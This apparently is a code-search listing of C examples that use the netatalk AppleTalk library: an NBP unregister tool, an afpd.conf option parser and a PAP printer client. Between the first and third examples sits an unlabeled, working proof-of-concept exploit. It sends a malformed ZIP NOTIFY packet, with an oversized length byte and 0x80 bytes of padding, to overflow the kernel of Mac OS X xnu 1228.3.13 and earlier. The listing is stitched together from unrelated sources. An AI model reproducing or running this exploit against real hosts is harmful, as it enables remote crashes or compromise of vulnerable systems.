Example #1
0
int main(int ac, char **av)
{
    char		*Obj = NULL, *Type = NULL, *Zone = NULL;
    char		*convname = NULL;
    struct at_addr      addr;
    int                 c;
    charset_t		chMac = CH_MAC;

    extern char		*optarg;
    extern int		optind;
    
    memset(&addr, 0, sizeof(addr));
    while ((c = getopt(ac, av, "A:m:")) != EOF) {
      switch (c) {
      case 'A':
	if (!atalk_aton(optarg, &addr)) {
	  fprintf(stderr, "Bad address.\n");
	  exit(1);
	}
	break;
      case 'm':
        if ((charset_t)-1 == (chMac = add_charset(optarg)) ) {
          fprintf(stderr, "Invalid Mac charset.\n");
          exit(1);
        }
        break;

      default:
	Usage(av[0]);
	break;
      }
    }

    if (ac - optind != 1) {
	Usage( av[ 0 ] );
    }

    /* Convert the name */
    if ((size_t)(-1) == convert_string_allocate(CH_UNIX, chMac, 
                        av[optind], -1, &convname))
        convname = av[optind]; 

    /*
     * Get the name. If Type or Obj aren't specified, error.
     */
    if ( nbp_name( convname, &Obj, &Type, &Zone ) || !Obj || !Type ) {
	Usage( av[ 0 ] );
    }

    if ( nbp_unrgstr( Obj, Type, Zone, &addr ) < 0 ) {
	fprintf( stderr, "Can't unregister %s:%s@%s\n", Obj, Type,
		Zone ? Zone : "*" );
	exit( 1 );
    }

    return 0;
}
int
main (int argc, char **argv)
{
  struct sockaddr_at daddr, saddr;
  char *p, buf[1024];
  int fd, zlen;

  printf ("Apple MACOS X xnu <= 1228.3.13 appletalk zip-notify remote kernel overflow PoC\n"
          "by: <*****@*****.**>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  if (argc < 3)
    {
      fprintf (stderr, "Usage: %s <dst addr> <zone> [src addr]\n", argv[0]);
      exit (EXIT_FAILURE);
    }

  if (!atalk_aton (argv[1], &daddr.sat_addr))
    {
      fprintf (stderr, "* dst address: atalk_aton failed\n");
      exit (EXIT_FAILURE);
    }

  if (argc > 3)
    {
      if (!atalk_aton (argv[3], &saddr.sat_addr))
        {
          fprintf (stderr, "* src address: atalk_aton failed\n");
          exit (EXIT_FAILURE);
        }
    }

  daddr.sat_family = AF_APPLETALK;
  daddr.sat_port = 6;

  if ((fd = netddp_open (argc > 3 ? &saddr
                                  : NULL, NULL)) < 0)
    {
      fprintf (stderr, "* netddp_open failed\n");
      exit (EXIT_FAILURE);
    }

  printf ("Appletalk dst: %s, ", argv[1]);
  if (argc > 3)
    printf ("src: %s, ", argv[3]);
  printf ("zone: %s... ", argv[2]);

  p = buf;
  *p++ = DDPTYPE_ZIP;
  *p++ = ZIPOP_NOTIFY;  /* ZIP NOTIFY   */
  *p++ = 0x00;

  *p++ = 0x00;          /* pad          */
  *p++ = 0x00;
  *p++ = 0x00;
  *p++ = 0x00;

  zlen = strlen (argv[2]);
  *p++ = zlen;
  memcpy (p, argv[2], zlen);
  p += zlen;

  *p++ = 0x80;          /* >= 0x80 sign extended :(
                         * <  0x80 not enough to hit anything useful,
                         *         except maybe ifPort...
                         */
  memset (p, 0x41, 0x80);
  p += 0x80;

  if (netddp_sendto (fd, buf, p - buf, 0, (struct sockaddr *) &daddr,
                                          sizeof (struct sockaddr_at)) < 0)
    {
      fprintf (stderr, "* netddp_sendto failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  return (EXIT_SUCCESS);
}
Example #3
0
/* parse an afpd.conf line. i'm doing it this way because it's
 * easy. it is, however, massively hokey. sample afpd.conf:
 * server:AFPServer@zone -loginmesg "blah blah blah" -nodsi 
 * "private machine"@zone2 -noguest -port 11012
 * server2 -nocleartxt -nodsi
 *
 * NOTE: this ignores unknown options 
 */
int afp_options_parseline(char *buf, struct afp_options *options)
{
    char *c, *opt;

    /* handle server */
    if (*buf != '-' && (c = getoption(buf, NULL)) && (opt = strdup(c)))
        options->server = opt;

    /* parse toggles */
    if (strstr(buf, " -nodebug"))
        options->flags &= ~OPTION_DEBUG;
#ifdef USE_SRVLOC
    if (strstr(buf, " -slp"))
        options->flags &= ~OPTION_NOSLP;
#endif
#ifdef USE_ZEROCONF
    if (strstr(buf, " -nozeroconf"))
        options->flags |= OPTION_NOZEROCONF;
#endif
    if (strstr(buf, " -nouservolfirst"))
        options->flags &= ~OPTION_USERVOLFIRST;
    if (strstr(buf, " -uservolfirst"))
        options->flags |= OPTION_USERVOLFIRST;
    if (strstr(buf, " -nouservol"))
        options->flags |= OPTION_NOUSERVOL;
    if (strstr(buf, " -uservol"))
        options->flags &= ~OPTION_NOUSERVOL;
    if (strstr(buf, " -proxy"))
        options->flags |= OPTION_PROXY;
    if (strstr(buf, " -noicon"))
        options->flags &= ~OPTION_CUSTOMICON;
    if (strstr(buf, " -icon"))
        options->flags |= OPTION_CUSTOMICON;
    if (strstr(buf, " -advertise_ssh"))
        options->flags |= OPTION_ANNOUNCESSH;
    if (strstr(buf, " -noacl2maccess"))
        options->flags &= ~OPTION_ACL2MACCESS;

    /* passwd bits */
    if (strstr(buf, " -nosavepassword"))
        options->passwdbits |= PASSWD_NOSAVE;
    if (strstr(buf, " -savepassword"))
        options->passwdbits &= ~PASSWD_NOSAVE;
    if (strstr(buf, " -nosetpassword"))
        options->passwdbits &= ~PASSWD_SET;
    if (strstr(buf, " -setpassword"))
        options->passwdbits |= PASSWD_SET;

    /* transports */
    if (strstr(buf, " -transall"))
        options->transports = AFPTRANS_ALL;
    if (strstr(buf, " -notransall"))
        options->transports = AFPTRANS_NONE;
    if (strstr(buf, " -tcp"))
        options->transports |= AFPTRANS_TCP;
    if (strstr(buf, " -notcp"))
        options->transports &= ~AFPTRANS_TCP;
    if (strstr(buf, " -ddp"))
        options->transports |= AFPTRANS_DDP;
    if (strstr(buf, " -noddp"))
        options->transports &= ~AFPTRANS_DDP;
    if (strstr(buf, "-client_polling"))
        options->server_notif = 0;

    /* figure out options w/ values. currently, this will ignore the setting
     * if memory is lacking. */

    if ((c = getoption(buf, "-hostname"))) {
        int len = strlen (c);
        if (len <= MAXHOSTNAMELEN) {
            memcpy(options->hostname, c, len);
            options->hostname[len] = 0;
        }
        else
            LOG(log_info, logtype_afpd, "WARNING: hostname %s is too long (%d)",c,len);
    }

    if ((c = getoption(buf, "-defaultvol")) && (opt = strdup(c)))
        options->defaultvol.name = opt;
    if ((c = getoption(buf, "-systemvol")) && (opt = strdup(c)))
        options->systemvol.name = opt;
    if ((c = getoption(buf, "-loginmesg")) && (opt = strdup(c))) {
        int i = 0, j = 0;
        while (c[i]) {
            if (c[i] != '\\') {
                opt[j++] = c[i];
            } else {
                i++;
                if (c[i] == 'n')
                    opt[j++] = '\n';
            }
            i++;
        }
        opt[j] = 0;
        options->loginmesg = opt;
        
    }
    if ((c = getoption(buf, "-guestname")) && (opt = strdup(c)))
        options->guest = opt;
    if ((c = getoption(buf, "-passwdfile")) && (opt = strdup(c)))
        options->passwdfile = opt;
    if ((c = getoption(buf, "-passwdminlen")))
        options->passwdminlen = MIN(1, atoi(c));
    if ((c = getoption(buf, "-loginmaxfail")))
        options->loginmaxfail = atoi(c);
    if ((c = getoption(buf, "-tickleval"))) {
        options->tickleval = atoi(c);
        if (options->tickleval <= 0) {
            options->tickleval = 30;
        }
    }
    if ((c = getoption(buf, "-timeout"))) {
        options->timeout = atoi(c);
        if (options->timeout <= 0) {
            options->timeout = 4;
        }
    }

    if ((c = getoption(buf, "-sleep"))) {
        options->sleep = atoi(c) *120;
        if (options->sleep <= 4) {
            options->sleep = 4;
        }
    }

    if ((c = getoption(buf, "-dsireadbuf"))) {
        options->dsireadbuf = atoi(c);
        if (options->dsireadbuf < 6)
            options->dsireadbuf = 6;
    }

    if ((c = getoption(buf, "-server_quantum")))
        options->server_quantum = strtoul(c, NULL, 0);

    if ((c = getoption(buf, "-volnamelen"))) {
        options->volnamelen = atoi(c);
        if (options->volnamelen < 8) {
            options->volnamelen = 8; /* max mangled volname "???#FFFF" */
        }
        if (options->volnamelen > 255) {
	    options->volnamelen = 255; /* AFP3 spec */
        }
    }

    /* -[no]setuplog <logtype> <loglevel> [<filename>]*/
    c = buf;
    /* Now THIS is hokey! Multiple occurrences are not supported by our current code, */
    /* so I have to loop myself. */
    while (NULL != (c = strstr(c, "-setuplog"))) {
        char *optstr;
        if ((optstr = getoption(c, "-setuplog"))) {
            setuplog(optstr);
            options->logconfig = optstr; /* at least store the last (possibly only) one */
            c += sizeof("-setuplog");
        }
    }

    if ((c = getoption(buf, "-unsetuplog")))
      unsetuplog(c);

#ifdef ADMIN_GRP
    if ((c = getoption(buf, "-admingroup"))) {
        struct group *gr = getgrnam(c);
        if (gr != NULL) {
            options->admingid = gr->gr_gid;
        }
    }
#endif /* ADMIN_GRP */

    if ((c = getoption(buf, "-k5service")) && (opt = strdup(c)))
	options->k5service = opt;
    if ((c = getoption(buf, "-k5realm")) && (opt = strdup(c)))
	options->k5realm = opt;
    if ((c = getoption(buf, "-k5keytab"))) {
	if ( NULL == (options->k5keytab = (char *) malloc(sizeof(char)*(strlen(c)+14)) )) {
		LOG(log_error, logtype_afpd, "malloc failed");
		exit(-1);
	}
	snprintf(options->k5keytab, strlen(c)+14, "KRB5_KTNAME=%s", c);
	putenv(options->k5keytab);
	/* setenv( "KRB5_KTNAME", c, 1 ); */
    }
    if ((c = getoption(buf, "-authprintdir")) && (opt = strdup(c)))
        options->authprintdir = opt;
    if ((c = getoption(buf, "-uampath")) && (opt = strdup(c)))
        options->uampath = opt;
    if ((c = getoption(buf, "-uamlist")) && (opt = strdup(c)))
        options->uamlist = opt;

    if ((c = getoption(buf, "-ipaddr"))) {
#if 0
        struct in_addr inaddr;
        if (inet_aton(c, &inaddr) && (opt = strdup(c))) {
            if (!gethostbyaddr((const char *) &inaddr, sizeof(inaddr), AF_INET))
                LOG(log_info, logtype_afpd, "WARNING: can't find %s", opt);
            options->ipaddr = opt;
        }
        else {
            LOG(log_error, logtype_afpd, "Error parsing -ipaddr, is %s in numbers-and-dots notation?", c);
        }
#endif
        options->ipaddr = strdup(c);
    }

    /* FIXME CNID Cnid_srv is a server attribute */
    if ((c = getoption(buf, "-cnidserver"))) {
        char *p = strrchr(c, ':');
        if (p)
            *p = 0;
        Cnid_srv = strdup(c);
        if (p)
            Cnid_port = strdup(p + 1);
        LOG(log_debug, logtype_afpd, "CNID Server: %s:%s", Cnid_srv, Cnid_port);
    }

    if ((c = getoption(buf, "-port")))
        options->port = strdup(c);
    if ((c = getoption(buf, "-ddpaddr")))
        atalk_aton(c, &options->ddpaddr);
    if ((c = getoption(buf, "-signature")) && (opt = strdup(c)))
        options->signatureopt = opt;

    /* do a little checking for the domain name. */
    if ((c = getoption(buf, "-fqdn"))) {
        char *p = strchr(c, ':');
        if (p)
            *p = '\0';
        if (gethostbyname(c)) {
            if (p)
                *p = ':';
            if ((opt = strdup(c)))
                options->fqdn = opt;
        }
	else {
            LOG(log_error, logtype_afpd, "error parsing -fqdn, gethostbyname failed for: %s", c);
	}
    }

    if ((c = getoption(buf, "-unixcodepage"))) {
    	if ((charset_t)-1  == ( options->unixcharset = add_charset(c)) ) {
            options->unixcharset = CH_UNIX;
            LOG(log_warning, logtype_afpd, "setting Unix codepage to '%s' failed", c);
    	}
	else {
            if ((opt = strdup(c)))
                options->unixcodepage = opt;
	}
    }
	
    if ((c = getoption(buf, "-maccodepage"))) {
    	if ((charset_t)-1 == ( options->maccharset = add_charset(c)) ) {
            options->maccharset = CH_MAC;
            LOG(log_warning, logtype_afpd, "setting Mac codepage to '%s' failed", c);
    	}
	else {
            if ((opt = strdup(c)))
                options->maccodepage = opt;
	}
    }
    
    if ((c = strstr(buf, "-closevol"))) {
        options->closevol= 1;
    }

    if ((c = getoption(buf, "-ntdomain")) && (opt = strdup(c)))
       options->ntdomain = opt;

    if ((c = getoption(buf, "-ntseparator")) && (opt = strdup(c)))
       options->ntseparator = opt;

    if ((c = getoption(buf, "-dircachesize")))
        options->dircachesize = atoi(c);
     
    if ((c = getoption(buf, "-tcpsndbuf")))
        options->tcp_sndbuf = atoi(c);

    if ((c = getoption(buf, "-tcprcvbuf")))
        options->tcp_rcvbuf = atoi(c);

    return 1;
}
Example #4
0
int main( int ac, char	**av)
{
    ATP			atp;
    struct atp_block	atpb;
    int			c, err = 0, fd, cuts = 0;
    char		*obj = NULL, *type = "LaserWriter", *zone = "*";
    struct timeval	stv, tv;
    char		rbuf[ ATP_MAXDATA ];
    struct iovec	iov;
    unsigned short	waiting, result;
    int			connattempts = 10;
    int			waitforidle = 0;
    struct at_addr      addr;

    extern char		*optarg;
    extern int		optind;

    memset(&addr, 0, sizeof(addr));
    while (( c = getopt( ac, av, "dWwcep:s:EA:" )) != EOF ) {
	switch ( c ) {
#ifdef F****D
	case 'w' :
	    waitforprinter = 1;
	    break;

	case 'W' :
	    waitforidle = 1;
	    break;
#endif /* F****D */

	/* enable debugging */
	case 'd' :
	    debug++;
	    break;

	case 'c' :
	    cuts++;
	    break;

	case 'e' :	/* send stdout to stderr */
	    dup2( 2, 1 );
	    break;

	case 'p' :
	    printer = optarg;
	    break;

	case 's' :
	    status = optarg;
	    break;

	case 'E' :
	    noeof = 1;
	    break;
	   
	case 'A':
	    if (!atalk_aton(optarg, &addr)) {
	      fprintf(stderr, "Bad address.\n");
	      exit(1);
	    }
	    break;

	default :
	    err++;
	}
    }
    if ( err ) {
	usage( *av );
    }
    if ( printer == NULL && (( printer = paprc()) == NULL )) {
	fprintf( stderr, "No printer specified and ./.paprc not found.\n" );
	exit( 2 );
    }

    /*
     * Open connection.
     */
    if ( nbp_name( printer, &obj, &type, &zone ) < 0 ) {
	fprintf( stderr, "%s: Bad name\n", printer );
	exit( 2 );
    }
    if ( obj == NULL ) {
	fprintf( stderr, "%s: Bad name\n", printer );
	exit( 2 );
    }

    if ( nbp_lookup( obj, type, zone, &nn, 1, &addr ) <= 0 ) {
	if ( errno != 0 ) {
	    perror( "nbp_lookup" );
	    exit( 2 );
	}
	fprintf( stderr, "%s:%s@%s: NBP Lookup failed\n", obj, type, zone );
	exit( 1 );
    }

    if ( isatty( 1 )) {
	printf( "Trying %u.%d:%d ...\n", ntohs( nn.nn_sat.sat_addr.s_net ),
		nn.nn_sat.sat_addr.s_node, nn.nn_sat.sat_port );
    }

    if (( atp = atp_open( ATADDR_ANYPORT, &addr )) == NULL ) {
	perror( "atp_open" );
	exit( 2 );
    }
    if (( satp = atp_open( ATADDR_ANYPORT, &addr )) == NULL ) {
	perror( "atp_open" );
	exit( 2 );
    }

    while ( waitforidle ) {
	char	st_buf[ 1024 ];	/* XXX too big */

	cbuf[ 0 ] = 0;
	cbuf[ 1 ] = PAP_SENDSTATUS;
	cbuf[ 2 ] = cbuf[ 3 ] = 0;
	atpb.atp_saddr = &nn.nn_sat;
	atpb.atp_sreqdata = cbuf;
	atpb.atp_sreqdlen = 4;	/* bytes in SendStatus request */
	atpb.atp_sreqto = 2;		/* retry timer */
	atpb.atp_sreqtries = 5;		/* retry count */
	if ( atp_sreq( satp, &atpb, 1, 0 ) < 0 ) {
	    perror( "atp_sreq" );
	    exit( 1 );
	}

	if(debug){ printf( "SENDSTATUS >\n" ), fflush( stdout );}

	atpb.atp_saddr = &nn.nn_sat;
	rniov[ 0 ].iov_len = PAP_MAXDATA + 4;
	atpb.atp_rresiov = rniov;
	atpb.atp_rresiovcnt = 1;
	if ( atp_rresp( satp, &atpb ) < 0 ) {
	    perror( "atp_rresp" );
	    continue;
	}

#ifndef NONZEROSTATUS
	/*
	 * The stinking LaserWriter IINTX puts crap in this
	 * field.
	 */
	if ( ((char *)rniov[ 0 ].iov_base)[ 0 ] != 0 ) {
	    fprintf( stderr, "Bad status response!\n" );
	    exit( 1 );
	}
#endif /* NONZEROSTATUS */

	if ( ((char *)rniov[ 0 ].iov_base)[ 1 ] != PAP_STATUS ||
		atpb.atp_rresiovcnt != 1 ) {
	    fprintf( stderr, "Bad status response!\n" );
	    exit( 1 );
	}

	if(debug){ printf( "< STATUS\n" ), fflush( stdout );}

	memcpy( st_buf, (char *) rniov[ 0 ].iov_base + 9, 
		((char *)rniov[ 0 ].iov_base)[ 8 ] );
	st_buf[ (int) ((char *)rniov[ 0 ].iov_base)[ 8 ]] = '\0';
	if ( strstr( st_buf, "idle" ) != NULL ) {
	    waitforidle = 0;
	} else {
	    updatestatus( (char *) rniov[ 0 ].iov_base + 9,
		    ((char *)rniov[ 0 ].iov_base)[ 8 ] );
	    sleep( 5 );
	}
    }

    cbuf[ 0 ] = connid = getpid() & 0xff;
    cbuf[ 1 ] = PAP_OPEN;
    cbuf[ 2 ] = cbuf[ 3 ] = 0;
    cbuf[ 4 ] = atp_sockaddr( atp )->sat_port;
    cbuf[ 5 ] = oquantum;	/* flow quantum */
    if ( gettimeofday( &stv, NULL ) < 0 ) {
	perror( "gettimeofday" );
	exit( 2 );
    }
    for (;;) {
	if ( cuts ) {
	    waiting = 0xffff;
	} else {
	    if ( gettimeofday( &tv, NULL ) < 0 ) {
		perror( "gettimeofday" );
		exit( 2 );
	    }
	    waiting = htons( tv.tv_sec - stv.tv_sec );
	}
	memcpy(cbuf +  6, &waiting, sizeof( waiting ));

	atpb.atp_saddr = &nn.nn_sat;
	atpb.atp_sreqdata = cbuf;
	atpb.atp_sreqdlen = 8;		/* bytes in OpenConn request */
	atpb.atp_sreqto = 2;		/* retry timer */
	atpb.atp_sreqtries = 5;		/* retry count */
	if ( atp_sreq( atp, &atpb, 1, ATP_XO ) < 0 ) {
	    perror( "atp_sreq" );
	    exit( 1 );
	}

	if(debug){ printf( "OPEN >\n" ), fflush( stdout );}

	iov.iov_base = rbuf;
	iov.iov_len = sizeof( rbuf );
	atpb.atp_rresiov = &iov;
	atpb.atp_rresiovcnt = 1;
	if ( atp_rresp( atp, &atpb ) < 0 ) {
	    perror( "atp_rresp" );
	    if ( connattempts-- <= 0 ) {
		fprintf( stderr, "Can't connect!\n" );
		exit( 1 );
	    }
	    continue;
	}

	/* sanity */
	if ( iov.iov_len < 8 || (unsigned char)rbuf[ 0 ] != connid ||
		rbuf[ 1 ] != PAP_OPENREPLY ) {
	    fprintf( stderr, "Bad response!\n" );
	    continue;	/* This is weird, since TIDs must match... */
	}

	if(debug){ printf( "< OPENREPLY\n" ), fflush( stdout );}

	if ( isatty( 1 )) {
	    printf( "%.*s\n", (int)iov.iov_len - 9, (char *) iov.iov_base + 9 );
	}
	updatestatus( (char *) iov.iov_base + 9, iov.iov_len - 9 );

	memcpy( &result, rbuf +  6,  sizeof( result ));
	if ( result != 0 ) {
	    sleep( 2 );
	} else {
	    memcpy( &sat, &nn.nn_sat, sizeof( struct sockaddr_at ));
	    sat.sat_port = rbuf[ 4 ];
	    quantum = rbuf[ 5 ];
	    break;
	}
    }

    if ( isatty( 1 )) {
	printf( "Connected to %.*s:%.*s@%.*s.\n",
		nn.nn_objlen, nn.nn_obj,
		nn.nn_typelen, nn.nn_type,
		nn.nn_zonelen, nn.nn_zone );
    }

    if ( optind == ac ) {
	send_file( 0, atp, 1 );
    } else {
	for (; optind < ac; optind++ ) {
	    if ( strcmp( av[ optind ], "-" ) == 0 ) {
		fd = 0;
	    } else if (( fd = open( av[ optind ], O_RDONLY )) < 0 ) {
		perror( av[ optind ] );
		continue;
	    }
	    send_file( fd, atp, ( optind == ac - 1 ) ? 1 : 0 );
	    if ( fd != 0 ) {
		close( fd );
	    }
	}
    }

    /*
     * Close connection.
     */
    cbuf[ 0 ] = connid;
    cbuf[ 1 ] = PAP_CLOSE;
    cbuf[ 2 ] = cbuf[ 3 ] = 0;

    atpb.atp_saddr = &sat;
    atpb.atp_sreqdata = cbuf;
    atpb.atp_sreqdlen = 4;		/* bytes in CloseConn request */
    atpb.atp_sreqto = 2;		/* retry timer */
    atpb.atp_sreqtries = 5;		/* retry count */
    if ( atp_sreq( atp, &atpb, 1, ATP_XO ) < 0 ) {
	perror( "atp_sreq" );
	exit( 1 );
    }

	if(debug){ printf( "CLOSE >\n" ), fflush( stdout );}

    iov.iov_base = rbuf;
    iov.iov_len = sizeof( rbuf );
    atpb.atp_rresiov = &iov;
    atpb.atp_rresiovcnt = 1;
    if ( atp_rresp( atp, &atpb ) < 0 ) {
	perror( "atp_rresp" );
	exit( 1 );
    }

    /* sanity */
    if ( iov.iov_len != 4 || rbuf[ 1 ] != PAP_CLOSEREPLY ) {
	fprintf( stderr, "Bad response!\n" );
	exit( 1 );
    }

#ifndef ZEROCONNID
    /*
     * The AGFA Viper Rip doesn't have the connection id in the close request.
     */
    if ((unsigned char)rbuf[ 0 ] != connid ) {
	fprintf( stderr, "Bad connid in close!\n" );
	exit( 1 );
    }
#endif /* ZEROCONNID */

	if(debug){ printf( "< CLOSEREPLY\n" ), fflush( stdout );}

    if ( isatty( 1 )) {
	printf( "Connection closed.\n" );
    }
    exit( 0 );
}